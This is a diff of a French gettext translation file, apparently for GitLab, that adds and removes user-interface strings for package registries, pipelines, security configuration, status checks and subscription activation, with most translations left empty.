msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr "Aucun·e"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr "Pages"
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr "Aller à la page suivante"
msgid "Pagination|Go to previous page"
msgstr "Aller à la page précédente"
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "Dernière ⇥"
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr "Mot de Passe"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr "Planification de pipeline"
msgid "Pipeline Schedules"
msgstr "Planifications de pipelines"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Total :"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "Ce projet n’est actuellement pas configuré pour exécuter des pipelines."
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr "Veuillez sélectionner au moins un filtre pour voir les résultats"
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr "Veuillez patienter pendant la connexion à votre dépôt. Actualisez à
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "Veuillez patienter pendant l’importation de votre dépôt. Actualisez à votre guise."
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr "Aperçu"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,8 +25328,8 @@ msgstr "Contributions privées"
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
-msgstr "Avatar public"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr ""
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "Projets partagés avec %{group_name}"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr "Les projets appartenant à un groupe sont préfixés avec l’espace de noms du groupe. Les projets existants peuvent être déplacés dans un groupe."
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr "Cette fonctionnalité nécessite un navigateur prenant en charge localSt
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr "Rediriger vers le fournisseur SAML pour tester la configuration"
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Sélectionner un modèle de dépôt"
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr "Définissez les valeurs par défaut et restreignez les niveaux de visibi
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr "Définir un dépôt de modèles au niveau de l’instance"
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Restrictions d’inscription"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr "Carte à puce"
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr "Spécifiez un motif d’expression rationnelle permettant l’identifica
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr "Étape"
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr "Stockage :"
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Changer de branche ou d’étiquette"
@@ -31340,6 +32013,9 @@ msgstr "Modèle"
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "Modèles "
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr "Analyse de la couverture des tests"
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr "L’importation expirera après %{timeout}. Pour les dépôts qui prenne
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr "Une erreur s’est produite lors de la réinitialisation du jeton de courriel."
@@ -32585,8 +33255,11 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
-msgstr "Cette application a été créée par %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
+msgstr ""
msgid "This application will be able to:"
msgstr "Cette application sera en mesure de :"
@@ -32687,9 +33360,6 @@ msgstr ""
